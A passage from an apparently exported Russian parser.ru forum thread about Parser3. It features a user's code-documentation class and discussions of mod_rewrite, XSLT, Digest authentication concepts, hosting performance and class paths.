	$string[^string.match[\\n\\n+][g]{<p>}]\
	$result[^string.match[\\n][g]{<br>}]\
}{\
	$result[]\
}\
\
\
\
# открыть файл\
@open[file][f;HELP;table;GHELP]\
^if(-f $file){	\
	$f[^file::load[text;$file]]\
	$f[\
$f.text\
]\
\
	$HELP[^table::create{method	comment}]\
	$GHELP[^hash::create[]]\
\
	$table[^f.match[((\\n#^[^^\\n^]*)*)(\\n@^[^^\\n^]*)(\\n[^^\\n]*)][g]]\
	$f[]\
\
	^table.menu{\
		^if(^table.3.match[@(CLASS|BASE|USE)][]){\
			$GHELP.[My^cut[$table.3;@]][\
				$.value[^cut[$table.4]]\
				$.comment[^change_comment[$table.1]]\
			]\
		}{\
			^HELP.append{^cut[$table.3]	^change_comment[$table.1]}\
		}\
	}\
	$table[]\
\
	^make[$file;$GHELP;$HELP]\
\
	$HELP[]\
	$GHELP[]\
\
#	$result[]\
}{\
	^throw[autodocs.open;$file;;${file}: Такой файл не найден]\
}\
\
\
\
@make[file;GHELP;HELP][body]\
$body[\
	^if(def $GHELP.MyCLASS){\
		<H1>Класс: $GHELP.MyCLASS.value</H1>\
\
		^if(def $GHELP.MyCLASS.comment){\
			<h3>$GHELP.MyCLASS.comment</h3>\
		}\
	}{\
		<H1>Класс: MAIN</H1>\
		<h3>Расширение базовых функций Parser3</h3>\
	}\
\
	<H2>Файл $file<H2>\
\
	^if($HELP){\
		<table border=1>\
		^HELP.menu{\
			<tr>\
				<td align=\"left\" valign=\"top\" width=\"10%\">\
					<pre>$HELP.method</pre>\
					<ul>^unescape_br[$HELP.comment]</ul>\
				</td>\
			</tr>\
		}\
		</table>\
	}\
\
	<HR width=100%>\
]\
$body\
\
#$result[]\
[/code]"
"29087","Спасибо большое, исправил:\
$CLASS_PATH[/classes]\
\
Но теперь вылезает ошибка:\
parse error, expecting `$'"
"29088","Подумал над комментированием статических полей класса... (Точнее сходил попил кофе с друзьями :))\
\
Наверное, не стоит пороть горячку и:\
1ое) Вспомнить как это сделано в Perl’е, т.к. возможности для самодокументации в нём заложены просто превосходные, надо хорошо подумать может подобное прикрутить к parser3\
\
2ое) Просто автоматически составлять список статических полей и описывать его отдельно... Хотя вопрос, что делать, если имя объекта создаётся динамически:\
[code]\
$[$form:object_name][Ну и какое у меня имя? :)]\
[/code]\
\
3ье) Сделать возможность изменить написанное в комментарии перед сохранением в документационный файл, хотябы простой textarea’ей. Хотя тоже вопрос с составлением файла документации: набрёл на тред PAFа (http://www.parser.ru/forum/?id=7835), рассинхронизировать всё-таки не хочется, хотя можно сделать простой механизм кэширования... Таким образом можно просто докомментировать исходник, дописывать в него какое-то описание, или примеры работы...\
\
4ое) Кэшировать всё tab-delimited файл\
\
5ое) Написать нормальный viewer из кэш файла!\
\
Друзья, кто знает как работают всякого рода javadocи или другие средства анализирующие комментарии (в виде обычного текста, а не XMLя), дайте свой авторитетный совет по этому вопросу.\
\
Такое вот TODO...\
\
В принципе, если есть желание с п. 4 может кто-нибудь помочь... ;)\
Хотя многие уже подобное сделали, но не решились выложить: возможно толкнёте мне пару своих НОУ-ХАУ и идей :)))"
"29089","Воспользуйтесь поиском, если непоможет, что мало вероятно, выложите код в форум"
"29091","$img[^file:list[/upload/small/;${advert.picture}\\.(jpe?g|gif|png)^$]]\
^if(def $img){\
  <a href=\"/upload/$img.name\"><img border=\"0\" src=\"/upload/small/$img.name\" width=150></a>\
}\
\
При использовании такого кода в какой-нибудь серверный лог каждый раз не будет писаться что-то типа \"404 not found\" для нусуществующих картинок?"
"29092","Запустил я код, - забавно :) но я не понимаю чем мой не устраивает? к тому же он более функциональный - выводит дерево классов и для каждого из выбранных классов делает ссылку на родителя. Кроме того, выводит список локальных переменных (если есть). Есть там правда один  баг - если в комментариях методов содержится символ @ комментарий не \"ловится\" - я бился над этим, но решение получалось очень медленным, потом я плюнул.\
\
Лучше поработайте над моим кодом, недели чем писать свой - я это не из-за осознания собственной крутости говорю, просто хочется чтобы мой кодец усовершенствовали, поскольку самому недосуг :(\
\
Теперь об недочетах:\
\
метод main лучше переписать так:\
[code]\
@main[]\
<form method=\"GET\">\
	Путь к папке с библиотеками: <input name=\"library\" value=\"^default[$form:library;/]\"><br>\
	Маска (в regexp'е): <input name=\"mask\" value=\"^default[$form:mask;\\.p^$]\"><br>\
	Просмотривать вложенные папки:\
		<input type=\"radio\" name=\"in\" id=\"1\" value=\"1\" ^checked[$form:in;1]><label for=1>Да</label> /\
		<input type=\"radio\" name=\"in\" id=\"0\" value=\"0\" ^checked[$form:in;0]><label for=0>Нет</label><br>\
		<input type=\"hidden\" name=\"run\" value=\"1\"/>\
	<input name=\"do\" type=\"submit\">\
</form>\
\
^if(def $form:run){\
	<HR width=\"100%\">\
	$autodocs[^autodocs::create[\
		$.path[$form:library]\
		$.mask[^untaint[as-is]{$form:mask}]\
		$.in(^form:in.int(0))\
	]]\
	^autodocs.scan[]\
}\
[/code]\
У меня мозила например, не отловила то что определено $form:run если название submit = run, - это уже где-то было в форуме, в смысле что так нельзя делать.\
\
Вид доки какой-то не очень презентабельный - я устал читать простыню, на которой расписаны все методы всех моих классов, лучше выводить один класс = одна страница.\
\
По поводу регистрации - это надо Мишу стукнуть :) код не мой, стоит попробовать зарегистрироваться с другим именем :)"
"29093","я пробовал, он ведь и сам по себе тормозит (по сравнению с php), а с xml/xslt вообще заметно.\
\
хотя конечно если это просто хомпага с маленькой нагрузкой, то пойдёт."
"29094","Подумайте о такой ситуации, к примеру у вас в папке лежит два файла с одинаковыми именами img.gif и img.jpg, то ваш $img.name будет всегда выдавать только gif."
"29095","ну работает парсер не так уж и медленно, и сам сайт parser.ru тому доказательство, а форум на сколько я могу судить хороший пример xml->xsls. Ну и надо всетаки незабывать эта технология тоже ориентирована для решения проблемы работы с данными ..."
"29096","ещё бы этот форум тормозил, тогда б на парсер вообще никто не клюнул.. на его оптимизацию потрачено немало сил, я полагаю :-) да и сервак у них свой. а вот ты приди к нормальному хостеру и поставь там парсер. тогда и поймёшь, что он просто тормоз :-("
"29097","Вот такой пример можно взять, чтоб заметить отставание у обычного хостера за 5 бачей в месяц?\
Просто Павел Титов утверждает, что это не критично - потери в скорости практически нет. Вот и думай, кому верить. Самому не проверить."
"29098","Спасибо за мозиллу! (Хотя я её не юзаю принципиально, но если выложил код под опенсорс надо было подумать).\
\
В общем-то, идея на копейку, код на страницу, почему бы не переписать :) На самом деле, Александр, мне показалось легче написать свой, чем разбираться в твоём, да и к тому же мне нужна была структура данных описывающая класс (методы и пр.), поэтому над тем как всё выдавать на экран я долго не думал!\
\
Плюс, твой код не читает комментарии без комментарной линии (###############...) и не выводит статические переменные класса.\
Меня как раз интересует последнее, точнее: каким образом эти переменные можно комментировать (см. TODO List http://www.parser.ru/forum/?id=29088).\
\
Твоя идея с иерархией интересна, но надо учитывать, что в одной папке может быть несколько версий одного и того же класса. Т.е. анализировать и выдавать пользователю надо только самый поздний из файлов (хотя это не всегда верно... Валидность данных не обязательно проявляется в дате изменения файла).\
\
Почитай, если на затруднит мой TODO List, а я пока сооружу viewer ala parser doc."
"29100","здесь оптимизация только в SQL запросах, что совсем не касается парсера.\
\
этот сайт построен на imp1 (достаточно старой версии) - штуке не совсем легкой, но универсальой (xml/xsl).\
\
то, что вы видите на страничке форума к тому-же ещё и не кешируется совершенно (можете посмотреть на другие странички - увидете насколько помогает кеш).\
\
мне кажутся подобные заявления пустым звуком. уже много раз говорилось, что выбранные алгоритмы решают очень многое. может вы выбрали алгоритм не к месту?\
\
один и тот-же алгоритм реализованный на разных языках будет использовать примерно одинаковое количество рессурсов (бывают выбросы).\
\
P.S. мне кажется время на разработку с использованием разных языков тоже стОит учитывать."
"29101","> Плюс, твой код не читает комментарии без комментарной линии (###############...) \
\
Это легко поправить :) на самом деле, в работающем коде (усовершенствованный пример) он ловит лини от 3-х до 80 кажется символов - так просто удобнее.\
\
> мне показалось легче написать свой, чем разбираться в твоём\
\
во во, так все и делают, на самом деле чаще все наоборот.\
\
> Твоя идея с иерархией интересна, но надо учитывать, что в одной папке может быть несколько версий одного и того же класса.\
\
Плохо - для разных версий есть CVS, в конце концов, при таком подходе, сам запутаешься, рано или поздно.\
\
> Почитай, если на затруднит мой TODO List\
\
Пока затруднит."
"29102","Ой, слушай если ты используешь CVS для хранения исходников Parser'а, можешь поделиться в двух фразах как это работает, где стоит CVS сервер... Опять же если не затруднит :)"
"29103","с Basic авторизацией всё более-менее понятно - пароль передаётся по сети и приходит на сервер в оригинальном виде (Base64 не в счёт), даже если кто-то спёр файлик с паролями - там он найдёт только криптованные экземпляры, которые подставлять в запрос нет смысла.\
\
В варианте Digest что-то совершенно непонятное - в приведённом в документации примере откуда-то  достаётся некриптованный пароль:\
[code]\
A1 = unq(username-value) \":\" unq(realm-value) \":\" passwd\
\
   where\
\
passwd = < user's password >\
[/code]\
откуда он достаётся некриптованный, если на сервере мы храним только \"результат надёжного однозначного необратимого преобразования (хеш)\"?\
\
Ладно, допустим в passwd у нас этот самый хэш, тогда для успешного сравнения на клиенте тоже должен быть хэш пароля (HGENRESPONSE равен response в заголовке Authorization запроса юзера). НО, в таком случае, что мешает спереть файлик с паролями, достать из него хеш пароля нужного юзера и сформировать актуальный response на клиентской стороне?\
\
Я понимаю что на самом деле всё не так плохо - метод ведь рабочий, все его хвалят, по крайней мере утверждают что он гораздо надёжнее чем Basic, т.е. судя по всему я что-то где-то упустил... Но что? Где? Не сходится-то на уровне логики, а не на уровне технической реализации... Намекните, ежели кто в курсе, пожалста."
"29104","В корне index.html, в котором:\
[code]\
^if(def $form:module){\
  ^use[${config:dir.modules}${form:module}/index.html]\
  ^show[]\
}\
[/code]\
/?module=news - работает.\
В корневом .htaccess пишу:\
[code]\
RewriteEngine on\
RewriteBase /\
RewriteRule ^(.+)\\.html$ /?module=$1\
[/code]\
Сайт в дауне - вообще не грузится. Мне внушает оптимизм. А кому еще?"
"29105","Угу. Сам наблюдал подобное зацикливание на локалхосте.\
Лечил убитием процесса и его дальнейшим перезапуском\
\
У апача в РегВыр не нужно экранировать символ \".\""
"29106","Неплохо доработал класс:\
1. Сделал анализатор для разбора структура из макросов, короче regexp шаблон, который выдирает конструкции вида:\
[code]\
# коммен-\
# тарий\
@method[params][locals]\
...code ...\
[/code]\
Т.е. отельно комментарий, название метода, сам код!\
Полезная штука кому надо: копните код и найдёте!\
Если будут какие-то до работки regexp’а -- сообщайте!\
\
2. Добавил анализатор статических полей класса\
См. Парсер документация, Пользовательские классы / Определение пользовательского класса и операторов\
\
3. Добавил анализатор определённых переменных в методах.\
\
4. Формируется tab-delimited файл с данными о классе:\
[code]\
type	parent	value	comment	code\
file		/library/autodocs//autodocs.p			\
MyCLASS	not avaliable	MAIN	Расширение базовых функций Parser3		\
method	MAIN	@auto[]		\\n$CONTENT[^table::create{path}]\\n\\n\\n	\
global	MAIN	$CONTENT			\
defined	@auto[]	$CONTENT			\
method	MAIN	@create[init]	\\n Конструктор\\n 1....	\
global	MAIN	$PATH			\
global	MAIN	$MASK			\
global	MAIN	$INSIDE			\
global	MAIN	$MAKEFILE			\
defined	@create[init]	$PATH			\
defined	@create[init]	$MASK			\
defined	@create[init]	$INSIDE			\
defined	@create[init]	$MAKEFILE			\
...\
[/code]\
\
Структура файла\
[code]\
type – тип объекта (\
file – имя обработанного файла, \
MyCLASS – данные из @CLASS, \
MyUSE – данные из @USE, \
MyBASE – данные из @BASE, \
method – имя макроса (метода),\
global – статическое поля класса,\
defined – определённая переменная в методе\
)\
parent – владелец переменной\
value – значение объекта (имя класса, метода, переменной или значение поля)\
comment – комментарий к данному\
code – код метода, только для методов\
[/code]\
\
Замеченные баги:\
1.	Все макросы объявленные файле становятся макросами объявленного в файле класса. Т.е. в моём исходнике определёны методы @default, @checked, @main, они класса MAIN, но анализатор посчитает их методами класса autodocs.\
2.	Не анализирует наследование.\
\
Тесты производились на классе Misha.3 auth.p, mysql.p и прошли успешно! ИМХО :)\
\
Это пока всё.\
\
\
Если есть энтузиаст готовый сделать viewer а ля дока по парсеру... буду очень признателен, благо даже есть отдельный файл, из которого можно читать данные. \
Буду рад сотрудничеству!\
\
\
PS: Из-за внесённых дополнений скрипт стал подтормаживать, что поделать Parser :)\
Но для этого и существует кэш файл (правда пока я его тоже не читаю :))\
\
\
\
Исходник:\
[code]\
@default[param1;param2]\
$result[^if(def $param1){$param1}{$param2}]\
\
\
@checked[param;value;isDefault]\
$result[^if($param eq $value || (!def $param && def $isDefault)){checked}]\
\
\
@main[]\
<title>Самодокументирование парсерного кода</title>\
<form method=\"GET\">\
	Путь к папке: <input name=\"library\" value=\"^default[$form:library;/]\"><br>\
	Просматривать:\
		<input type=\"radio\" name=\"mask\" id=\"a\" value=\"\\.p^$\" ^checked[$form:mask;\\.p^$;x]>\
			<label for=a>Библиотеки (.p)</label> /\
		<input type=\"radio\" name=\"mask\" id=\"b\" value=\"\\.html^$\" ^checked[$form:mask;\\.html^$]>\
			<label for=b>Файлы (.html)</label> /\
		<input type=\"radio\" name=\"mask\" id=\"c\" value=\"\\.(html|p)^$\" ^checked[$form:mask;\\.(html|p)^$]>\
			<label for=c>Библиотеки и файлы (.p и .html)</label>\
	<br>\
	Просмотривать вложенные папки:\
		<input type=\"radio\" name=\"in\" id=\"1\" value=\"1\" ^checked[$form:in;1;x]>\
			<label for=1>Да</label> /\
		<input type=\"radio\" name=\"in\" id=\"0\" value=\"0\" ^checked[$form:in;0]>\
			<label for=0>Нет</label>\
	<br>\
	Кэш файл формировать?:\
		<input type=\"radio\" name=\"file\" id=\"I\" value=\"1\" ^checked[$form:file;1]>\
			<label for=I>Да</label> /\
		<input type=\"radio\" name=\"file\" id=\"II\" value=\"0\" ^checked[$form:file;0;x]>\
			<label for=II>Нет</label>\
	<br>\
	<input type=\"hidden\" name=\"run\" value=\"1\">\
	<input name=\"do\" type=\"submit\">\
</form>\
\
^if(def $form:run){\
	<HR width=\"100%\">\
	$autodocs[^autodocs::create[\
		$.path[$form:library]\
		$.mask[^untaint[as-is]{$form:mask}]\
		$.in(^form:in.int(0))\
		$.file(^form:file.int(0))\
	]]\
	^autodocs.scan[]\
}\
\
\
\
\
\
########################################\
@CLASS\
autodocs\
\
\
\
\
@auto[]\
$CONTENT[^table::create{path}]\
\
\
\
\
# Конструктор\
# 1. init = путь к папку где сканировать\
# 2. init.path = путь к папку где сканировать\
#    init.mask = маска в regexp\
#    init.in = (1/0) открывать вложенные папки\
@create[init]\
$PATH[/]\
$MASK[\\.p^$]\
$INSIDE(0)\
$MAKEFILE(0)\
\
^if($init is string){\
	$PATH[$init]\
}{\
	^if($init is hash){\
		^if(def $init.path){\
			$PATH[$init.path]\
		}\
\
		^if(def $init.mask){\
			$MASK[$init.mask]\
		}\
\
		^if(def $init.in){\
			$INSIDE(^init.in.int(1))\
		}\
\
		^if(def $init.file){\
			$MAKEFILE(^init.file.int(1))\
		}\
	}{\
		^throw[autodocs.create;$init;Входной параметр задан не верно, это может быть string или hash.]\
	}\
}\
\
\
\
\
# Начать сканирование\
@scan[]\
^scandir[$PATH]\
^if($CONTENT){\
	^CONTENT.menu{\
		^open[$CONTENT.path]\
	}\
}\
#$result[]\
\
\
\
\
# Рекурсивный просмотр папок\
@scandir[folder][folder;list]\
$list[^file:list[$folder]] \
^list.menu{\
	^if(^list.name.match[$MASK][]){\
		^add[$folder/$list.name]\
	}\
\
	^if($INSIDE && (-d \"$folder/$list.name\")){\
		^scandir[$folder/$list.name]\
	}\
}\
#$result[]\
\
\
\
# Добавить файл в стэк обработки\
@add[file]\
^CONTENT.append{$file}\
#$result[]\
\
\
\
# Обрезать ужас моего не знания regexp'а\
@cut[string;also]\
^if(def $string){\
	$string[^string.match[\\n$also][g]{}]\
	$result[^string.match[\\n+^$][g]{}]\
}{\
	$result[]\
}\
\
\
\
# Обрезать ужас моего не знания regexp'а и символы комментариев\
@change_comment[string]\
^if(def $string){\
	$result[^string.match[#+][g]{}]\
}{\
	$result[]\
}\
\
\
\
@unescape_br[string]\
^if(def $string){\
	$string[^string.match[^^\\s*][g]{}]\
	$string[^string.match[\\s*^$][g]{}]\
	$string[^string.match[\\n\\n+][g]{<p>}]\
	$string[^string.match[\\n][g]{<br>}]\
	$result[$string]\
}{\
	$result[]\
}\
\
\
\
\
# открыть файл\
@open[file][f;HELP;table;GHELP]\
^if(-f $file){	\
	$f[^file::load[text;$file]]\
	$f[$f.text]\
\
	$HELP[^table::create{method	comment	code}]\
	$GHELP[^hash::create[]]\
\
	$table[^f.match[\
		# Сам текст комментария\
			(\
				(?:\
					(?:^^|\\n)\\#+\
					^[^^\\n^]*\
				)*\
			)?\
\
		# Разделитель между комментарием и методом\
			(?:\
				\\s*\
			)?\
\
		# Макрос / Метод / CLASS / BASE / USE\
			(\
				\\n@^[^^\\n^]*\
			)\
\
		# Код / Содержание\
			(\
				(?:\
					\\n^[^^\\n^]*\
					(?!\
						(?:\
							(?:\
								\\n\\#+^[^^\\n^]*\
							)*\
						)?\
\
						(?:\
							\\s+\
						)?\
\
						(?:\
							\\n@^[^^\\n^]*\
						)\
					)\
				)*\
			)\
\
	][gxs]]\
	$f[]\
\
	^table.menu{\
		^if(^table.2.match[@(CLASS|BASE|USE)][]){\
			$GHELP.[My^cut[$table.2;@]][\
				$.value[^cut[$table.3]]\
				$.comment[^change_comment[$table.1]]\
			]\
		}{\
			^HELP.append{^cut[$table.2]	^change_comment[$table.1]	$table.3}\
		}\
	}\
	$table[]\
\
	^make[$file;$GHELP;$HELP]\
\
	$HELP[]\
	$GHELP[]\
\
#	$result[]\
}{\
	^throw[autodocs.open;$file;${file}: Такой файл не найден]\
}\
\
\
\
\
\
# Получить локальные переменные\
# except имена какие исключить\
@getlocals[string;except]\
^if(def $string && \
	(def $except && $except is table || !def $except)\
){\
	$string[^string.match[\
		# Сам текст комментария\
			(\
				(?:\
					(?:^^|\\n)\\#+\
					^[^^\\n^]*\
				)*\
			)?\
							\
		# Объект\
			(?:\
				# Пока буду брать только вменяемые имена (у egr'а вариант такой ^^^$@^;()#)\
					# \\n\\s*(\\^$^[^^\\n^]+)\
					\\n\\s*(\\^$^[\\w\\d\\-_^]+)^[\\^[\\^{\\(^]\
			)\
	][gxs]]\
	$string[^string.select(!^string.2.match[^^\\^$result^$][])]\
\
	$result[^table::create{name	comment}]\
	^string.menu{\
		^if(!^result.locate[name;$string.2] && \
			(def $except && !^except.locate[name;$string.2] || !def $except)\
		){\
			^result.append{$string.2	$string.1}\
		}\
	}	\
}{\
	$result[^table::create{name	comment}]\
}\
\
\
\
\
# Получить параметры макроса, в том числе и локальные переменные, copy paste с egr'а\
@getparams[string][table]\
^if(def $string){\
	$table[^string.match[\
		^^\\s*\
		# Имя метода\
			@([^^^$@^;()#]+?)\
		# Передаваемые параметры\
			\\^[\
				(.*?)\
			\\^]\
		# Локальные переменные\
			(?:\
				\\^[\
					(.*?)\
				\\^]\
			)?\
		\\s*^$\
	][gxs]]\
\
# Параметры и переменные\
	$table[^;${table.2}^;${table.3}^;]\
\
	$table[^table.split[^;]]\
	$table[^table.select(def $table.piece)]\
\
	$result[^table::create{name}]\
	^table.menu{\
		^result.append{^$$table.piece}\
	}	\
}{\
	$result[^table::create{name}]\
}\
\
\
\
\
##########################\
# taint to sql\
@sql-taint[string][ws_pack_replace]\
$ws_pack_replace[^table::create[nameless]{\\	\\\\\
^taint[^#0A]	\\n\
^taint[^#09]	\\t}]\
\
^if(def $string){\
	$result[^string.replace[$ws_pack_replace]]\
;\
	$result[]\
}\
\
\
\
\
\
##########################\
# taint to sql\
@sql-untaint[string][ws_unpack_replace]\
$ws_unpack_replace[^table::create[nameless]{\\n	^taint[^#0A]\
\\t	^taint[^#09]\
\\\\	\\}]\
\
^if(def $string){\
	$result[^string.replace[$ws_unpack_replace]]\
;\
	$result[]\
}\
\
\
\
\
\
############################################################\
# метод для записи таблицы в файл, с предварительной заменой символов перевод строки и табуляция на \\n и \\t\
# copy paste с Misha.3\
@table_save[table;file_name][col;tmp]\
$col[^table.columns[]]\
$tmp[^col.menu{$col.column}[^#09]^#0A^table.menu{^col.menu{^sql-taint[$table.[$col.column]]^#09}}[^#0A]]\
^tmp.save[$file_name]\
$result[]\
\
\
\
\
\
\
\
\
# Сделать структуру\
@make[file;GHELP;HELP][container;VARS;PARAMS;GLOBAL;MyCLASS]\
$container[^table::create{type	parent	value	comment	code}]\
$GLOBAL[^table::create{name	comment	method}]\
\
# $file:\
	^container.append{file		$file		}\
\
# GHELP\
# конфигурационные данные\
	^if(def $GHELP.MyCLASS){\
		^container.append{MyCLASS	not avaliable	$GHELP.MyCLASS.value	$GHELP.MyCLASS.value	}\
		$MyCLASS[$GHELP.MyCLASS.value]\
	}{\
		^container.append{MyCLASS	not avaliable	MAIN	Расширение базовых функций Parser3	}\
		$MyCLASS[MAIN]\
	}\
\
	^if(def $GHELP.MyBASE){\
		^container.append{MyBASE	$MyCLASS	$GHELP.MyBASE.value	$GHELP.MyBASE.comment	}\
	}\
\
	^if(def $GHELP.MyUSE){\
		^container.append{MyUSE	$MyCLASS	$GHELP.MyUSE.value	$GHELP.MyUSE.comment	}\
	}\
\
\
# HELP\
	^if($HELP){\
		^HELP.menu{\
			^container.append{method	$MyCLASS	$HELP.method	$HELP.comment	$HELP.code}\
			^if(def $HELP.code){\
# Переменные метода\
				$VARS[^getlocals[$HELP.code;^getparams[$HELP.method]]]\
\
				^if($VARS){\
					^VARS.menu{\
						^if(!^GLOBAL.locate[name;$VARS.name]){\
							^GLOBAL.append{$VARS.name	$VARS.comment	$HELP.method}\
							^container.append{global	$MyCLASS	$VARS.name	$VARS.comment	}\
						}\
					}\
				}\
\
\
				$VARS[^getlocals[$HELP.code]]\
\
				^if($VARS){\
					^VARS.menu{\
						^container.append{defined	$HELP.method	$VARS.name	$VARS.comment	}\
					}\
				}\
			}\
		}\
	}\
\
# Сделать файл?\
	^if($MAKEFILE){\
		^table_save[$container;^file.match[[/\\.]][g]{_}.cfg]\
	}\
\
$result[^show[$file;$GHELP;$HELP;$GLOBAL]]\
\
\
\
\
\
\
@show[file;GHELP;HELP;GLOBAL][VARS]\
$result[\
	^if(def $GHELP.MyCLASS){\
		<H1>Класс: $GHELP.MyCLASS.value</H1>\
\
		^if(def $GHELP.MyCLASS.comment){\
			<h4><ul>^unescape_br[$GHELP.MyCLASS.comment]</ul></h4>\
		}\
	}{\
		<H1>Класс: MAIN</H1>\
		<h3>Расширение базовых функций Parser3</h3>\
	}\
\
	<H2>Файл $file</H2>\
	\
	^if($GLOBAL){\
		<H2>Статические поля класса:</H2>\
		<ol>\
			^GLOBAL.menu{\
				<li>\
					<strong>$GLOBAL.name</strong> (определяется в <a href=\"#$GLOBAL.method\">$GLOBAL.method</a>): \
					^if(def $GLOBAL.comment){\
						<br> <i>^change_comment[$GLOBAL.comment]</i>\
					}\
				</li>\
			}[<p>]\
		</ol>\
	}\
\
	^if($HELP){\
		<table border=1>\
		^HELP.menu{\
			<tr>\
				<td align=\"left\" valign=\"top\" width=\"10%\">\
					<a name=\"$HELP.method\"/>\
					<pre>$HELP.method</pre>\
					<ul>^unescape_br[$HELP.comment]</ul>\
\
#					<p>^unescape_br[$HELP.code]\
\
					$VARS[^getlocals[$HELP.code]]\
\
					^if($VARS){\
						<p>Объявленные в методе переменные:\
						<ol>\
							^VARS.menu{\
								<li>\
									<strong>$VARS.name</strong>: \
									^if(def $VARS.comment){\
										<br> <i>^change_comment[$VARS.comment]</i>\
									}								\
								</li>\
							}[<p>]\
						</ol>\
					}\
				</td>\
			</tr>\
		}\
		</table>\
	}\
\
	<HR width=100%>\
]\
[/code]"
"29107","теперь написал так:\
[code]\
RewriteEngine on\
RewriteRule	^(.+)/	/?module=$1\
[/code]\
Все работает, НО:\
нехера не грузятся картики и стили, хотя путь к ним строится от корня сайта. Чую, дело в RewriteBase, хотя у Егорова ясно сказано, что папка, в которой лежит сам .htaccess и является им по умолчанию. Я не так понял? Написал у одного из стилей\
абсолютный путь от самого диска - загрузился. Прописал тот же путь в .htaccess в том самом RewriteBase - получил долгожданную 500...\
RewriteBase: argument is not a valid URL\
\
Киньте в меня мыслью"
"29108","> как это работает,\
\
Нормально работает :)\
\
> где стоит CVS сервер\
\
На локальном компьютере :)\
\
Далее отправляю в гугль."
"29109","Конечно, алгоритм алгоритмом, а работа с файлами и базой данных в парсере сделана по-простому: открыл –- положил всё из источника –- закрыл, собственно это жрёт много памяти... Жалко, что нет потокового чтения...\
\
Хотя с другой для мудрёных задач есть Perl, так что парсер -- это средство, но не от всех \"болезней\"."
"29110","У меня с вот такими вроде описанное тобой работает\
\
RewriteEngine On\
Options +FollowSymlinks\
RewriteBase /"
"29111","Как я понимаю, речь идёт о XSLT 1.0 и XPath 1.0. А будет ли реализована поддержка вторых версий?"
"29112","В response подставляется не A1, а H(A1), т.е. MD5 от этой строки \"имя:realm:пароль\".\
Итого, некриптованый пароль известен только браузеру и то, только до момента MD5, потом его можно забыть ;-)"
"29114","Читать доку по mod_rewrite на тему -f\
И еще, читать доку на тему [L] и [QSA] - тоже полезно."
"29115","Вопрос только в этом? Разве для поддержки XSLT 1.0 и XPath 1.0 в парсере использованы библиотеки сторонних разработчиков?"
"29116","а вот в документе (по приведённой Вами ссылке) автор на стороне сервера собирает некое HGENRESPONSE, чтобы проверить, совпадает ли оно с response в заголовке Authorization запроса юзера. Первым шагом он вычисляет A1, которое username:realm:password, откуда ему известен этот password если его знает только браузер? Не догоняю...  =("
"29117","Только не отсылайте меня сразу к книжкам и справочникам, плиз.\
Я думаю, если найдётся кто-то, кто сможет здесь популярно ответить на возникшие у меня вопросы, то этим он съэкономит массу времени и сил у таких же как я начинающих XML-щиков. Эти бы примеры не помешали бы и в FAQ-е, или даже в рукводстве по парсеру.\
\
1. <xsl:value-of select=\"count(ancestor::item)\"/>\
count(ancestor::item) - подсчитывает кол-во родителей у текущего тега <item>, какая функция подсчитывает кол-во одноимённых тегов потомков у текущего тега <item>?\
\
2. как в XSL проверить определён или не определён атрибут тега \
например:\
[code]\
<a>	\
	<xsl:attribute name=\"href\"><xsl:value-of select=\"@href\"/></xsl:attribute>\
	<xsl:attribute name=\"name\"><xsl:value-of select=\"@name\"/></xsl:attribute>\
	<xsl:value-of select=\"@title\"/>\
</a>\
[/code]\
\
как сделать так, когда у меня <item name=\"select\" title=\"привет\"/>\
\
не преобразовывалось в <a href=\"\" name=\"select\">привет</a>\
а преобразовывалось к <a name=\"select\">привет</a>\
и тоже самое когда нету name, а наоборот есть href\
\
\
ну и 3-й вопрос:\
как оформить повторяющийся код в xsl-файле в некое подобие процедуры и потом её вызывать, чтобы не таскать за собой больой код повторяющийся в нескольких местах. Можно ли это в принципе? Если можно, то если не затруднит, можно привести простой пример."
"29118","Зачем это писать с нуля, когда есть хорошие, доступные и бесплатные? ;-)\
И главное, общепризнанные."
"29121","нарыл на просторах интрнета :)\
[code]\
<xsl:value-of select=\"count(descendant::item)\"/>\
[/code]\
\
(считает всех потомков по всем уровням)\
[code]\
<xsl:value-of select=\"count(child::item)\"/>\
[/code]\
(считает сколько потомков на уровень ниже)"
"29122","Миша любезно выложил моё творение на http://www.parser.ru/f/1/download/utils/smtp_emulator.zip\
\
Скрипт скомпилирован в самостоятельный EXE-файл, Perl не требует, работает под всеми Windows от 95 до XP, настройки хранит в ini-файле. Sources прилагаются.\
\
Пользуйтесь на здоровье, когда отлаживаете mail::send.."
"29123","Руководство нас учит, что все пути идут от корня веб-пространства. А что делать, если сервер хостит несколько сайтов, объединенных общей идеей? В моем случае имеется с десяток сайтов, каждый из которых представляет визитку какого-то продукта. Дизайн разный, содержание разное. Но магазинный скрипт должен быть один. Если бы класс-паф (красиво звучит) мерялся бы от корня сервера, то я бы в страничку http://ЗашибисьПродукт.com./КупиМеняСрочно.html вставил бы вызов ^use[store.p] и ^showStoreFace[]. В этом случае дизайн был бы взят местный, специфический. \
И еще, корень веб-пространства у меня, например, разный. Юзер может зайти как на http://ЗашибисьПродукт.com./, так и на http://ПуперМагазин.com./ЗашибисьПродукт/ Физически папка на сервере одна, а корень - разный.\
Что, copy-paste мне в руки, что ли? Или похабить главный auto.p наличием в нем всего моего кода?"
"29124","в случае Basic авторизации \"конечный продукт\" преобразований пароля хранится на сервере, от клиента требуется лиш некий полуфабрикат, который сервер сам доводит до нужной кондиции и сравнивает полученый результат с уже имеющимся образцом. Сперев с сервера ящик с образцами конечного продукта я ничего не добьюсь, ибо сервер требует полуфабрикат, а \"выколупать\" оный из продукта не представляется возможным.\
\
На сколько я понял, в случае Digest авторизации \"конечный продукт\" формируется на клиенте (из полуфабрикатов клиента), пересылается на сервер, сервер фомирует свой вариант \"конечного продукта\" из своих полуфабрикатов и сравнивает результат. Чтобы продукт по дороге не подменили, при его приготовлении клиент с сервером используют различные специи, которые всегда уникальны по составу, но состав этот всегда известен. По логике, чтобы результат совпал, нам нужен либо полуфабрикат клиента, либо полуфабрикат сервера (по составу они одинаковы, могут различаться лиш кондицией). Следовательно, сперев с сервера ящик с его полуфабрикатами, прикинувшись его клиентом и запросив текущий состав его специй я тоже могу смастерить конечный продукт?"
"29125","Подскажите пожалуйста хорошую книжку по XML/XSL. Желательно чтобы всё было описано поростым и понятным языком. Ну и конечно весь стандарт был бы отражен наиболее полно."
"29128","в этом конфигурационном auto.p вы можете указать _относительные_ пути, указывающий в заданное место, например:\
\
[code]\
/.../site1/\
	cgi/\
		parser3.cgi\
		auto.p (тут указан $CLASS_PATH[/../data/classes/]\
	data/\
		classes/\
			*.p\
	www/\
		auto.p\
		index.html\
/.../site2/\
	cgi/\
		parser3.cgi\
		auto.p (тут указан $CLASS_PATH[/../../site1/data/classes/]\
	www/\
		auto.p\
		index.html\
